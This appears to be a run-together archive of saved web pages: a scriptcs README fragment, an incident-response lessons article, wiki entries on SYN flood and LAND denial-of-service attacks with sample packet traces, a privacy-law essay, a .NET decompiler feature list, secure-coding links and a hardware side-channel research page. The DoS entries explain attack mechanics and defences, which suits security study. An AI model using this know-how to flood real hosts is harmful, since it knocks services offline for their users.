  * In an empty directory, install the ScriptCs.WebApi  script pack from NuGet**.** The script pack will automatically imports the Web API namespaces and provides a convenient factory method for initializing the Web API host**.** It also replaces the default `ControllerResolver` with a custom implementation that allows Web API to discover controllers declared in scripts**.**

[code]

    scriptcs -install ScriptCs.WebApi
    
[/code]

  * Script packs can be imported into a script by calling `Require<TScriptPack>()`**.** Create a file named `server.csx` that contains the following code:

[code]

    public class TestController : ApiController {
        public string Get() {
            return "Hello world**!** ";
        }
    }
    
    var webApi = Require<WebApi>();
    var server = webApi.CreateServer("http://localhost:8888");
    server.OpenAsync().Wait();
    
    Console.WriteLine("Listening..**.** ");
    Console.ReadKey();
    server.CloseAsync().Wait();
    
[/code]

  * In a command prompt running as administrator, execute the `server.csx` file**.**

[code]

    scriptcs server.csx 
    
[/code]

  * Browse to http://localhost:8888/test/ to see the result of the TestController.Get method**.**

[code]

    <string xmlns="http://schemas.microsoft.com/2003/10/Serialization/">Hello world**!** </string>
    
[/code]

### Referencing scripts****

  * Move the TestController class from the previous example into a new file named `controller.csx` with the following content**.**
  * On the first line of `server.csx`, reference `controller.csx` using the \#load directive**.** **Note:** \#load directives must be placed at the top of a script, otherwise they will be ignored**.**

[code]

    #load "controller.csx"
    
[/code]

  * In a command prompt running as administrator, execute the `server.csx` file**.**

[code]

    scriptcs server.csx 
    
[/code]

  * Browse to http://localhost:8888/test/ to see the result of the TestController.Get method**.**

[code]

    <string xmlns="http://schemas.microsoft.com/2003/10/Serialization/">Hello world**!** </string>
    
[/code]

### Referencing assemblies****

You can reference additional assemblies from the GAC or from the bin folder in
your script's directory using the \#r directive:

[code]

    #r "nunit.core.dll"
    #r "nunit.core.interfaces.dll"
    
    var path = "UnitTests.dll";
    var runner = TestSetup.GetRunner(new[] {path});
    var result = runner.Run(new ConsoleListener(msg => Console.WriteLine(msg)), TestFilter.Empty, true,     LoggingThreshold.All);
    
    Console.ReadKey();
    
[/code]

## Contributing****

  * Read our Contribution Guidelines **.**

## Samples and Documentation****

Additional samples can be contributed to our samples repository **.**
Documentation can be found on our wiki **.**

## Community****

Want to chat**?** In addition to Twitter, you can find us on Google Groups and
JabbR**\!**

## Coordinators****

## Credits****

  * Check out the list of developers  responsible for getting scriptcs to where it is today**\!**
  * Special thanks to Filip Wojcieszyn for being the inspiration behind this with his Roslyn Web API posts**.**
  * Thanks to the Roslyn team who helped point me in the right direction**.**

## License****

Apache 2 License

****

# Learning From A Year of Security Breaches – Starting Up Security – Medium

**Created:**| _12/21/2016 9:14:51 AM_  
---|---  
**Updated:**| _12/21/2016 9:14:51 AM_  
**Author:**| __  
**Tags:**| _security metrics breaches r &d_  
  

  

# Learning From A Year of Security Breaches

This year \(2016\) I accepted as much incident response work as I could. I
spent about 300 hours responding to security incidents and data breaches this
year as a consultant or volunteer.

This included hands on work with an in-progress breach, or coordinating a
response with victim engineering teams and incident responders.

These lessons come from my consolidated notes of those incidents. I mostly
work with tech companies, though not exclusively, and you’ll see a bias in
these lessons as a result.

### Centralized logging makes everything better.

A theme in this article will be: “what separates standard incidents from
horrifying nightmares?”

A good or bad story around logging will dictate the rest of the incident. I
repeatedly find that audit logs are the backbone of all good security policy
and effective incident response.

The first thing I do in any incident is understand how much I can depend on a
victim’s logging infrastructure. The answer I receive will drastically change
my experience and the success of the company. There’s a wonderful trend in
CI/CD/DevOps culture where centralized logging and alerting is becoming a
standard practice. I’ve become almost _entitled_ to the expectation of rich
data in any company formed in the last three years or so.

I recommend that any security or infrastructure team putting off a
comprehensive approach to logging drop nearly everything to invest in it. This
means getting all logs, from all hosts and applications, across all teams,
into as few log destinations as possible.

Have a strong story around host, application, authentication, and
infrastructure logging that will inform your preventative work for years to
come. Additionally, it assists other teams as they meet availability goals.

_Edit:_ A gotcha — be aware of user privacy in what you log, and how relevant
long term storage would be in a breach. Shortened retention periods to protect
user privacy are common and would be in greater demand depending on a product
you build.

> Conclusion: Prioritize well decorated, accessible, centralized and alert-
> able logs above most other security projects. An idea for an alert should
> easily land in production within 10 minutes or so, if done right.
### You might not find the root cause of a breach.

More than one incident I worked this year went through to completion without
ever finding a root cause.

This is a nightmarish experience for victims who have to meet with their
leadership and executives to describe their mitigation efforts which are not
guided by data. Containment becomes an incomplete and “best effort” problem.

_With_ a root cause, a mitigation plan sounds something like:

> “We wipe this laptop, replace that server, roll a single credential.”
 _Without_ a root cause, it sounds more like like:

> “We wipe **ALL** the laptops, replace ALL the servers, roll ALL the
> credentials.”
The discovery of a root cause is an important milestone that dictates the
emotional environment an incident will take place in, and whether it becomes
unhealthy or not.

A grey cloud will hover over a team until a guiding root cause is discovered.
This can make people bad to one another. I work very hard to avoid this
toxicity with teams. I remember close calls when massive blame, panic, and
resignations felt like they were just one tough conversation away.

No matter whether you’re big or small — it’s important to role-play a crisis
every so often.

> Conclusion: Practice regular table tops and red team exercises. Treat random
> bug bounty or vulnerability disclosures as full blown practice incidents.
> Practice scenarios where you are not in control, you are not omniscient, the
> right log doesn’t exist and talent can’t understand an issue. Fight from the
> ground every now and then with your team.
### Persistent attackers will target homes.

“Bring your own device” is often used to categorically describe the risk
employees bring to an organization. This **does not** well characterize the
direct attacks happening against individuals within organizations.

This year’s incidents involving APT groups notably focused their attacks
directly on employee’s personal emails and endpoints. Whether they show up at
the office with their personal devices won’t matter if they’re sharing
credentials or access tokens on personal accounts and devices, or accessing
corporate accounts from home.

Understanding lateral movement from an employee’s home to corporate assets is
incredibly hard. Manual follow up with employees was the primary area of
investigative friction on numerous occasions. A common trend was shared
passwords acquired from attacks on personal accounts and devices that were not
used on a corporate network, but hosted credentials that were relevant.

Additionally \(this fell into “zero root cause”\) one incident in particular
was highly suggestive of an engineer potentially storing sensitive credentials
in their own personal cloud infrastructure to debug production infrastructure
remotely.

Logs weren’t available in the time window we needed to guide us. We had heard
that attacks were pointed at senior developers in the months that preceded the
attack, but the investigative workload on personal employee systems would have
been too blind and expensive to follow through with without some kind of lead
to start with.

> Conclusion: Find ways to improve your employees security practices at home.
> Subsidize their use of a password manager, MFA hardware, or anything else
> you can. Push hard for them to involve your security team even if they have
> personal security issues or see bad behavior while off-duty. Teach and
> enable them to protect their families from threats as well.
### Bitcoin is targeted, even if you store none.

Platform companies are often compromised with the assumption that they may
have access to, or integrate with, a bitcoin company. Please refer to the
Blockchain Graveyard for more information on this trend, or this public
example from SendGrid’s blog:

> Conclusion: If you deeply rely on a partner’s technology, find a way to
> heavily manage that risk. If you’re a bitcoin company, practice extreme
> paranoia and take extraordinary measures in limiting the access of your
> partnerships.
### Sophistication follows humiliation.

Many breach announcements this year pointed to a “sophisticated attacker” as a
narrative of their issue. This usually is followed up by criticism when an
initial means of their compromise is revealed.

Most breaches begin with spear phishing, commodity exploits, a leaked key, or
some other obvious or preventable detail.

However, this is almost never the “sophisticated” aspect of a breach worth
talking about. It’s easy to point at an embarrassing vector and dismiss the
rest of an attack.

Thus, do not judge an adversary by the vector they’ve chosen. An adversary may
show you what “sophistication” means after advancing from their beachhead.

For instance, while an initial vector may not be notable or interesting, the
access or credentials an attacker has from a separate platform compromise may
reveal a lot about how motivated and capable they were in targeting you.

As a public example: Would Lockheed describe their breach in 2011 as
sophisticated? Even if their adversary came prepared with stolen RSA SecureID
data… If it started with a spear phish, does that somehow mean the adversary
is no longer intimidating?

> Conclusion: “Sophisticated” attackers don’t flex their muscles on the
> initial intrusion effort. Don’t underestimate initial lame attacks against
> you as unsophisticated, an adversary will always exert minimum effort. That
> run-of-the-mill spear phish might be followed up with a new 0Day for all you
> know.
### Manage your secrets and keys.

Management of secrets was a big differentiator at victim companies.

I wasn’t roped into a single intrusion this year at any companies with
completely role driven environments where secrets were completely managed by a
secret store.

This can either mean one of a few things: These environments don’t exist at
all, there aren’t many of them, or they don’t see incidents that would warrant
involving IR folks like myself.

Keys stored in source code, leaked into cloud logging platforms, kept
insecurely on employee endpoints or personal devices, or copy pasted into
gists and pastebin were all a consistent theme for me this year. Insecurity of
secrets were both obvious root causes, or deeply exacerbated a breach once
obtained by an adversary.

> Conclusion: Look into AWS roles, avoid putting secrets into source code,
> keep real secrets away from developers, and be able to roll them quickly and
> often.
### Credential theft is still the lowest hanging fruit.

Several incidents still occurred at organizations with pretty healthy
messaging avoiding password re-use, especially with senior executive
leadership. This awareness messaging ultimately does not matter when
considering personal accounts, if not directly messaged to employees.

While awareness efforts may delay the inevitable quite well, it was much more
effective to see credentials managed behind an identity provider and Single
Sign On integrations into their cloud products. I have not responded to any
incidents where MFA was broken within an enterprise identity solution.

When Single Sign On integration is not an option, finding the MFA options in
each product, and enforcing them, is also a major mitigation step. A special
shout out to GitHub is necessary, as teams frequently store secrets in source
code that can be protected by enforced, team wide MFA until better secret
storage options are agreed upon by a team.

### Insider threats have some patterns.

The smallest minority of issues I worked this year involved insider threats.
Each insider issue was within a known range of motives which I’ve seen for
several years now, 2016 being no exception.

The first involves people who heavily identify with Silicon Valley startup
culture and are incredibly aggressive in approaching the press to drive
attention to their current or future company.

Specifically, you can use the insider threat model of:

> “ _If I leak something to the tech press now, maybe they’ll write about my
> tech startup idea later_ ”
While this is a fairly specific model, employees at tech companies _really_
like leaking IP and product information for all kinds of outcomes.

This is common enough to consider a trending type of insider threat. This is
tough to defend against as these are usually employees that don’t need much
trust to leak with. It’s very hard to give prevention advice that applies
broadly and doesn’t encourage a locked down, Apple-esque company at the same
time. Most CEO’s want to be transparent to their employees and accept this
risk.

The second pattern I’ve seen is around internal customer support tools. Once
you hit a certain number of employees with access to administrative tools, an
outlier employee is bound to commit fraud, or collude with others to do so.

### Measure and eliminate your debt.

Nearly all of the organizations I assisted this year had an outlier area of
staggering technical debt.

This leads me to believe that companies that consider “debt” as part of
engineering process are usually highly disciplined organizations, with lower
risk.

Here’s why: A startup can move fast. They can cut corners. They can compete
aggressively and take risks.

During development and a successful launch, a difference from one company to
the next is how well they’ve documented the shortcuts and have had a
“retrospective” on what their debt level has become.

Then they pay back their debts.

Rarely do I see a team eliminate _all_ of their debt, but the organizations
that _at least_ respect their debt never get so far behind that they can no
longer be helped in a breach.

Debt comes in many forms: scale, development speed, site reliability, customer
churn, manual work before automation, and security.

The problem is that security debt is _silent_. Every other form of debt causes
errors, customer complaints, expenses, and engineer rage. Security debt only
results in breaches and is near impossible to quantify. It requires manual
effort or a technology harness to surface security debt.

An engineering organization that has a mastery of its debt is rare as a
company and, as a symptom, an easy-to-secure organization.

I’ve rarely seen this in practice, but the mere desire of this level of
enlightened engineering is a great sign at a company. Google is a company that
has structured its “error debt” around its release practices and has policies
driven around it, and is one of the best examples I’ve found of making “debt”
an objective problem to be measured and solved. Ollie Whitehouse @ NCC Group
has also presented on this topic in the past.

Most engineering organizations don’t know that some of their basic processes
\(retrospectives, post mortem\) are helping them avoid massive areas of debt.

> Conclusion: Make sure your biggest debts are paid before moving along to
> another large endeavor.
### Conclusion

We have the most to learn from our security incidents. It’s important to find
ways to talk about them and learn from them. If you’re involved with incident
response, I hope you can too\!

  

# denial of service | research | sprawl
**Created:**| _4/25/2014 4:30:37 PM_  
---|---  
**Updated:**| _4/25/2014 4:30:37 PM_  
**Author:**| __  
**Tags:**| _security tools DoS_  
  

# SYN Flood

A _SYN Flood_ is a Denial of Service attack which exploits a weakness in how a
vulnerable TCP implementation handles new connections. A vulnerable
implementation allocates host resources \(Transmission Control Blocks\) for
every connection request. Due to limited memory resources of a host machine,
only a certain number of connections can be established at any given time. The
_SYN Flood_ attack takes advantage of this limitation by exhausting all memory
allocated for new connections. It does this by means of sending a large number
of SYN packets to begin the three-way-handshake, but never replying to
server's SYN/ACK replies. The server is left with many half-opened connections
which will expire after a certain timeout only to be renewed by a fresh flood
of SYN packets. In the meantime, all of the legitimate requests will be
dropped since server's potential to accept new connections is exhausted.

## Packet Trace

Below is the packet trace of a typical SYN Attack. The target is a Windows XP
machine with open NetBIOS port:

[code]

    0.000000 192.168.1.66 -> 192.168.1.250 TCP 24345 > netbios-ssn [SYN] Seq=0 Len=0
    0.000694 192.168.1.66 -> 192.168.1.250 TCP 15869 > netbios-ssn [SYN] Seq=0 Len=0
    0.001019 192.168.1.66 -> 192.168.1.250 TCP 32851 > netbios-ssn [SYN] Seq=0 Len=0
    0.001337 192.168.1.66 -> 192.168.1.250 TCP 39007 > netbios-ssn [SYN] Seq=0 Len=0
    ...
    
[/code]

## Defenses

A defensive mechanism was suggested by Phil Karn and later developed by Daniel
J. Bernstein and Eric Schenk which limited the number of resources allocated
to new connection by means of storing only minimal session data until a valid
ACK packet was received. The validity of an ACK packet was by verifying a
specially crafted ACK _sequence number_ that was previously supplied in the
SYN/ACK packet. The crafted _sequence number_ aka SYN Cookie contains all of
the necessary information to restore a handshake and establish a legitimate
connection. As a result half-open connections caused by the SYN Flood attack
can no longer lead to resource exhaustion.

## External Links

# LAND Attack

_LAND Attack_ is a Denial of Service attack which utilises a specially crafted
TCP SYN packet with both source/destination hosts and ports set to the target
IP address and an open port respectively. The name comes from the original
exploit filename - _land.c_.

The attack was first documented in 1997 bugraq post by _m3lt_. While the
original post targeted vulnerable \[\[Windows 95\]\] machines, similar
problems were later discovered in a wide range of operating systems and
networked devices. A _LAND Attack_ experienced a come back in 2005, when Dejan
Levaja discovered that Windows XP SP2 and Windows 2003 machines were once
again vulnerable. This attack was further expanded by Synister Syntax with a
Remote LAND variation targeting networked devices such as home user's routers.

## Packet Trace

[code]

    0.077410 192.168.1.104 -> 192.168.1.104 TCP ssh > ssh [SYN] Seq=272426932 Len=0
    0.100969 192.168.1.104 -> 192.168.1.104 TCP ssh > ssh [SYN] Seq=1054004629 Len=0
    0.120631 192.168.1.104 -> 192.168.1.104 TCP ssh > ssh [SYN] Seq=1017551070 Len=0
    0.136919 192.168.1.104 -> 192.168.1.104 TCP ssh > ssh [SYN] Seq=482747538 Len=0
    0.152913 192.168.1.104 -> 192.168.1.104 TCP ssh > ssh [SYN] Seq=1818041971 Len=0
    0.168945 192.168.1.104 -> 192.168.1.104 TCP ssh > ssh [SYN] Seq=1020576642 Len=0
    ...
    
[/code]

## External Links

# External Links

  * \[Common Denial of Service Attacks by David Slee\]http://www.infosecwriters.com/text\_resources/pdf/DSlee\_Denial\_of\_Service\_Attacks.pdf\)

_Published on April 1st, 2009 by iphelix_

# Will the U.S. ever regain its lead in privacy protections?

**Created:**| _5/7/2017 10:45:56 PM_  
---|---  
**Updated:**| _5/7/2017 10:45:56 PM_  
**Author:**| __  
**Tags:**| _privacy gdpr privacy\_shield_  
  

  

## Will the U.S. ever regain its lead in privacy protection?

__ May 03, 2017 __ Insights __ Entefy

<img src='img/8860a4e27cbbe4c63821b429211684a3.png' width='618' height='347'
/>Privacy matters. A quick thought experiment about online and offline privacy
shows us why. Let’s say you own a grocery store. And at that store, you have a
security camera positioned to record everyone who walks through your door.
Customers entering the store understand that the camera is going to record
their images and activities while they’re in the store. If a particular
customer thinks about this agreement at all, it’s most likely to find it a
reasonable exchange of privacy.

With a digital service like a social media app, this privacy exchange is
markedly different. Because when an individual installs and uses an app, they
are required to agree to what amounts to digital surveillance. The app
provider gets to know everything about what users do inside the app; and in
many cases actions they take outside of the app. Each user “agreed” to this
surveillance via the app maker’s Terms and Conditions and Privacy Policy when
they signed up for the service, but often did so by default rather than
expressly affirming consent. And since all of the surveillance happens
invisibly, the consumer is able to conveniently ignore the data collection and
everything that happens to the data after it’s collected.

Now back to the grocery store. For the store to match the same level of
surveillance as the social media app we described, its security camera would
need to capture not just faces, but names, addresses, birthdays, heights,
weights, dietary habits, brand preferences, favorite meals, frequency of
cooking at home, conversations about food with friends, and so on. And if
simply walking into the store touched off that level of surveillance, a lot of
us would be hesitant to walk into the store. Yet billions of people around the
world make daily use of digital products that do just that.

The reason that 91% of Americans agree they have lost control of their
personal information is because they have. The corporations providing our
favorite digital services hold all of the privacy cards. So it’s interesting
that in Europe, things are different. One survey found that 31% of respondents
felt they had “no control at all” over how their data was used. Why the
difference? To understand the state of privacy law in America today, you need
to go back to the 1970’s and 1980’s.

At the dawn of the digital age the U.S. established an early lead in
enumerating principles and passing laws designed to protect individual data
privacy. Those principles would inspire other countries, and the EU in
particular, to enact increasingly pro-consumer privacy laws, culminating in
the EU’s expansive 2016 General Data Protection Regulation \(GDPR\). GDPR is a
unified privacy standard applicable to any company or group collecting and
handling personal data about EU citizens.

All is not lost for U.S. privacy policy. Steps could be taken to improve
privacy protection and put the U.S. back on the path to leadership in privacy
law. But first, the history.

**Privacy law at the birth of computing**

The U.S. is often criticized by her European counterparts for not having
implemented robust and universal data privacy laws. <img
src='img/fca758e52635df5a640f7063ddb9cdcb.png' width='282' height='204' />Yet
most people don’t realize that the privacy laws operating in many countries
today are built on foundational principles that emerged from the Fair
Information Privacy Practices \(FIPPs\) framework developed in the U.S. in the
1970’s.

FIPPs defined core digital privacy principles like:

**• Notice.** A consumer must be told that data has been collected and how it
might be used.

**• Choice.** Defining how data can be used, including the right to opt-in or
opt-out.

**• Access.** A consumer’s right to see data about themselves and verify or
contest its accuracy.

FIPPs emerged in the 1973 U.S. Advisory Committee Report on Automated Data
Systems. The report was prepared by the Secretary of Health, Education, and
Welfare in response to the first major computer systems containing what today
we would call personally identifiable data. The Forward to the report begins
with a surprisingly prescient pronouncement: “Computers linked together
through high-speed telecommunications networks are destined to become the
principal medium for making, storing, and using records about people.”

The report goes on to propose fundamental principles for designing and
regulating computer systems that record, store, and protect data about one or
more aspects of the life of a specific person. This was a major milestone for
digital privacy. The language in the report remains highly relevant today:

“An individual's personal privacy is directly affected by the kind of
disclosure and use made of identifiable information about him in a record. A
record containing information about an individual in identifiable form must,
therefore, be governed by procedures that afford the individual a right to
participate in deciding what the content of the record will be, and what
disclosure and use will be made of the identifiable information in it. Any
recording, disclosure, and use of identifiable personal information not
governed by such procedures must be proscribed as an unfair information
practice unless such recording, disclosure or use is specifically authorized
by law.”

In plain language, this passage translates into something like: “If I say you
can make a record about me, you agree that I’ll know exactly what is recorded
and how it will be used; and I’ll have the right to correct or delete it if
it’s wrong. Any behavior outside of these limits is illegal.” This was FIPPs
in a nutshell.

In the 1980’s, FIPPs went international. The Organization for Economic Co-
operation and Development \(OECD\) embedded FIPPs in its privacy guidelines.
The OECD is an intergovernmental economic organization with 35 member
countries, including most of the world’s largest economies. The OECD published
data privacy guidelines to which its members agreed to voluntarily adhere.
Again, the language of this agreement seems fresh and relevant today. The OECD
guidelines recognized:

“That, although national laws and policies may differ, Member countries have a
common interest in protecting privacy and individual liberties, and in
reconciling fundamental but competing values such as privacy and the free flow
of information.”

It was already clear that a natural tension existed between an individual’s
right to privacy and a corporation’s desire to profit from that individual
giving up some of that privacy.

Back in Europe, FIPPs was at the heart of the Council of Europe’s “Convention
108” treaty in 1981. The Council of Europe is the continent’s leading human
rights organization. Its membership is larger than the more exclusive EU, and
its primary purpose is promoting human rights. Emphasis on “rights.” Because
here we see FIPPs graduate from what had been principles in the U.S. to what
became a right in Europe. Again, the language is relevant today:

“This Convention is the first binding international instrument which protects
the individual against abuses which may accompany the collection and
processing of personal data and which seeks to regulate at the same time the
transfrontier flow of personal data. In addition to providing guarantees in
relation to the collection and processing of personal data, it outlaws the
processing of ‘sensitive’ data on a person's race, politics, health, religion,
sexual life, criminal record, etc., in the absence of proper legal safeguards.
The Convention also enshrines the individual's right to know that information
is stored on him or her and, if necessary, to have it corrected.”

**On the path to the right to privacy**

Since the Internet era began in the 1990’s, the U.S. has taken a back seat to
the EU in the continuing development of privacy laws.

<img src='img/25e1cacca4ed260e758af5d015088139.png' width='301' height='188'
/>By the mid-1990’s, the EU sought to address inconsistent enforcement of the
Convention 108 treaty by passing the EU Data Protection Directive in 1995.
This was a major step toward achieving EU-wide uniformity in every sector of
society. Here we see clearly that privacy is firmly enshrined as a right.
Article 1 of the law defined the importance of individual privacy succinctly:
“Member States shall protect the fundamental rights and freedoms of natural
persons, and in particular their right to privacy with respect to the
processing of personal data.”

To understand just how differently privacy was treated in the EU and the U.S.
at this time, we need only ask what was happening in the U.S. in 1995. Rather
than attempt a comprehensive privacy approach, the U.S. was creating narrow,
sector-specific privacy laws covering, for example, our health records, our
children, our driving records, and our financial records. We recognized that
certain parts of our lives deserved special privacy protection mandated by the
government but we stopped short of applying the same principles to other parts
of our lives. And, importantly, we left the rest of our privately identifiable
information as fair game. But why?

It’s an important question, and one the EU answered with the General Data
Protection Regulation, the granddaddy of consumer-friendly privacy laws. The
European Commission approved GDPR in April 2016 and it is expected to be
enacted by May 2018. GDPR is Europe’s attempt to harmonize data protection
regulations and even attempts to extend EU privacy principles to any company
doing business with EU citizens.  

FIPPs, and the U.S.’ lead in digital privacy law, is today a footnote to a
footnote.

**What the U.S. can do to protect its citizens**

Today, more than 100 data protection laws exist worldwide. And all of those
laws have a common set of core principles which consist of: notice to
consumers; transparency towards individuals regarding how their information
will be used; choice for the individual, furnishing them the opportunity to
give consent or to object to how their data is being used; access to their
data, for example, to correct the information should it be out of date; and
security of their data.

<img src='img/7866731eed67dc3be9693b33f50fdb48.png' width='301' height='188'
/>The problem isn’t that the U.S. lacks any privacy regulation. In fact, there
are laws like the Fair Credit Reporting Act of 1970 \(FCRA\), the Driver's
Privacy Protection Act of 1994 \(DPPA\), the Health Insurance Portability and
Accountability Act of 1996 \(HIPAA\), and the Children's Online Privacy
Protection Act of 1998

\(COPPA\). And, in addition, most states have enacted some form of privacy
legislation. The problem is that U.S. laws only provide some protection for
some of our personal identifiable information, not comprehensive protection
for all of our data.

But there are two significant omissions in privacy protection in the U.S.
today: universal protection for the core privacy principles once enshrined in
FIPPs; and the fundamental recognition to a right to privacy. To regain its
leadership in privacy rights, the U.S. could:

1\. Expand privacy as a right for all personal identifiable information, not
just for some.

2\. Ensure that before any data collection, consumers are clearly and simply
informed of exactly what personal data will be collected prior to opting in.

3\. Prohibit data collectors from selling personal data collected without
express permission of the consumer.

In today’s global business environment, GDPR’s relevance to companies doing
business in Europe means that practically every U.S. multinational will be
required to abide by that law. Formal adoption of a universal, comprehensive,
consumer-friendly privacy law could benefit American consumers and businesses
alike. There is still much history to be written.

Previous Post <img src='img/1792b114f1bdaf039efe1d89ed8e3e9e.png' width='306'
height='184' /> Inattention: the brain’s complex relationship with social
media \[SLIDES\]

Next Post <img src='img/c0d26c654326e5a5ef0bf594245e4167.jpg' width='306'
height='184' /> Human investors can be irrational, but is AI the answer?

  

# Dis\# - .NET decompiler

**Created:**| _9/3/2009 9:47:51 AM_  
---|---  
**Updated:**| _9/3/2009 9:48:00 AM_  
**Author:**| __  
**Tags:**| _Decompiler reversing_  
  
| DisSharp Decompiler Features | <img src='img/Temp2_2291.gif' width='6' height='19' />  
---|---  
<img src='img/Temp2_2288.gif' width='6' height='19' />  
<img src='img/Temp2_2290.gif' width='4' height='4' />| |   

  * **Inplace Editor**  
  
Double click or press Enter:  
<img src='img/Temp2_2287.gif' />  
Type new name and press Enter:  
<img src='img/Temp2_2289.gif' />  
The typical problem with decompilation is the absence of full source
information in the executable file. For instance, .NET assembly does not
contains names of local variables. Program can automatically assign local
names in accordance with their types \(what Dis\# is really do\), but it still
too differentiates with the original source.  
  
Dis\# makes next logical step in this direction. You can edit the names and
keep the changes in a project file. \( see **screenshot** \)  
  

  * **Dis\# project file**  
  
Dis\# have it's own metadata structure, which expands PE metadata structure
with all necessary for decompilation information, such as local variable
names. You can save Dis\# metadata in the project file \(extension .dis\) and
keep all changes.  
  

  * **Decompilation Speed**  
  
Custom metadata provides outstanding decompilation speed, which 25-700 times
faster then have other .NET decompilers. Dis\# decompiles more then 2000
methods per second.  
  

  * **Multiple Languages decompilation**  
  
Support for C\#, Visual Basic.NET, Delphi.NET and Chrome.  
  

  * **Well formed code**  
  
Dis\# generates code, which is look like the human edited. Dis\# .net
decompiler have many options to adjust code view for your preferences.  
  

  * **Optimization**  
  
Dis\# optimize code.  
  

  * **.NET 2.0 support**  
  
Dis\# support .NET 2.0 assembly format, generics etc.  
  

  * **Raw Code**  
  
In some cases you have to view raw code \(before high level decompilation
algorithms processing\). \( see **screenshot** \)

  
---

# List of Secure Coding Standards links | Source Code Auditing, Reversing, Web Security
**Created:**| _2/3/2012 11:10:17 AM_  
---|---  
**Updated:**| _2/3/2012 11:10:23 AM_  
**Author:**| __  
**Tags:**| _bookmark C++ C secure coding_  
  

# List of Secure Coding Standards links

Posted on February 2, 2012

Most of the time when we analyze a software, we search the man page for usage
of certain API and sometimes about the pattern of the code. Over a period of
time you create a set of patterns in your mind. Sometimes we can learn that
patterns from few Secure Coding standards websites. They give example on how
not to write. This is the other way of learning to find the bugs. Here is the
list of Secure Coding Standards links that I could able to find. If you have
any more, please add it in the comment.

http://community.corest.com/~gera/InsecureProgramming/  
https://wiki.mozilla.org/WebAppSec/Secure\_Coding\_Guidelines  
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=637  
https://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard  
CERT Oracle Secure Coding standard for Java  
http://www.viva64.com/en/a/0065/ \(A Collection of Examples of 64-bit Errors
in Real Programs\)  
http://www.viva64.com/en/a/0042/ \(Seven Steps of Migrating a Program to a
64-bit System\)  
http://www.viva64.com/en/l/ \(Lessons on development of 64-bit C/C++
applications\)  
http://www.oracle.com/technetwork/java/seccodeguide-139067.html \(Secure
Coding Guidelines for the Java Programming Language, Version 4.0\)  
http://samate.nist.gov/index.php/Source\_Code\_Security\_Analyzers.html  
Apple’s Secure Coding standard  
https://buildsecurityin.us-cert.gov/bsi/articles/knowledge/coding/305-BSI.html  
Klocwork’s CERT C and C++ Secure Coding Standard  
https://www.securecoding.cert.org/confluence/display/seccode/Klocwork+Cross+Reference  
http://grouper.ieee.org/groups/plv/  
https://www.owasp.org/index.php/Secure\_Coding\_Principles  
http://developer.klocwork.com/klocwork-university/security-innovation/secure-
coding  
http://www.saferc.com/  
http://stackoverflow.com/questions/4780410/secure-c-coding-practices

# Latest news on my hardware security research

**Created:**| _5/29/2012 7:50:01 AM_  
---|---  
**Updated:**| _5/29/2012 7:50:01 AM_  
**Author:**| __  
**Tags:**| _hardware backdoor_  
  

  

# Latest news on my Hardware Security Research

### Sergei Skorobogatov

sps32 \(at\) cam.ac.uk

  * New upcoming publications on QVL technology
  * Frequently asked questions about QVL technology
  * Hardware Assurance is vitally important for Cyber Security as the threat from semiconductor chips infected with Trojans and backdoors grows
  * Hardware Assurance related links
  * the latest testings revealed that using QVL technique it takes only 0.01 seconds to extract the AES key from a military grade FPGA marketed as 'virtually unbreakable' and 'highly secure'. With classic DPA setup it would take above 1 hour to get the key and with latest stae-of-the-art DPA workstation at least 10 minutes
  * using innovative patented technique from Quo Vadis Labs \(QVL\) we were able to detect and analyse in the first documented case of its kind, a backdoor inserted into the FPGA used in critical industrial infrastructure, avionics and military applications
  * health monitoring of the hardware can prevent Stuxnet-like attacks on physical systems
  * with the improvement of side-channel attacks effectiveness by a factor of one million it is possible to improve effectiveness of sensors in many areas
  * combination of non-invasive, invasive and semi-invasive attacks can break the security in majority of microcontrollers, FPGAs, secure memories and some ASICs and custom chips

  

## New upcoming publications on QVL technology

| | | Our new paper "In the blink of an eye: There goes your AES key" will be published soon. It explains how the AES key from highly secure FPGA can be extracted in less than a second with 100-dollar worth hardware.   
Our new paper "Breakthrough silicon scanning discovers backdoor in military chip" will appear at CHES2012 in September. It will expose some serious security issues in the devices which are supposed to be unbreakable. | | |   
---|---|---|---|---|---|---  
  

## FAQ: Frequently asked questions about QVL technology

| | | With the growing interest to the QVL technology from industrial companies and government departments it will be beneficial to answer some frequently asked questions.   
**Can QVL technology break unbreakable chips?**  
Yes and No. It is based on side-channel attacks and therefore has some obvious
limitations. However, in some cases it can improve the efficiency of DPA
attacks by a factor of 1 million. For example, in order to extract the AES key
from a secure FPGA one would need about 1 hour with a classic DPA setup that
cost between 50k USD and 100k USD \(descent oscilloscope, modern PC and
special software\). QVL setup will do the job in 0.01 seconds with the
components cost below 100 USD. This is 100'000 times improvement in time and
1'000 times less in cost. However, attacking properly designed ASIC data
protection solution might take over 1000 years with DPA, but just 1 day with
QVL. In general, if by 'unbreakable' one assumes 'infeasible' because of time
and/or cost then QVL can usually help.  
**Can QVL technology improve existing techniques like SPA, DPA, EMA, DEMA?**  
Yes, it can extend existing methods with the new technique called pipeline
emission analysis \(PEA\) aimed at boosting the sensitivity of leakage signals
sensing by 10dB to 40dB. That way the attack time can be substantially reduced
thus threating security in devices like smartcards, secure memories, ASICs and
FPGAs previously thought to be unbreakable.  
**What are the areas of possible applications for the QVL technology?**  
There are many areas of applications for QVL technology. The most important
are: improving sensors sensitivity in automotive, aerospace, medical and
military applications; testing semiconductor chips for side-channel emissions
to eliminate DPA attacks against cryptographic applications and password
protections; hardware assurance testing against trojans and backdoors;
monitoring of device activities by following execution and algorithm flow in
real time.  
**Who can benefit from the QVL technology?**  
Chip manufacturers who look for improving security protection and post-
production testing. System developers who want independent analysis of the
chips used in their devices to avoid side-channel leakages, trojans and
backdoors. Security evaluation companies which are interested in improving
their analysis techniques and expanding test methods.  
**How Quo Vadis Lab can help?**  
We can educate engineers in industrial companies and government agencies so
that they can be aware of the technology, its limitations and possible
applications. We can develop special test boards according to the
requirements, specification, needs and application. We can provide technical
support and consulting.  
**What is the greatest danger from the QVL technology?**  
Like DPA attacks it can be used to break crypto keys, passwords and
algorithms, but it is far more efficient and very cheap, so everyone can
afford it. If used by malicious people it can threat the security in many
secure semiconductor chips including smartcards, secure memory, RFID and
ASICs. Therefore, it would be beneficial to test existing secure products
against the QVL and improve the security protection when necessary.  
**Are there any limitations for distribution of the QVL technology?**  
Yes, there are export control regulations and strict NDA for anyone who wants
to know more about the technology. It is not available to private individuals
and any requests are subject to checks and approvals.  
**Is there a dedicated website for the technology?**  
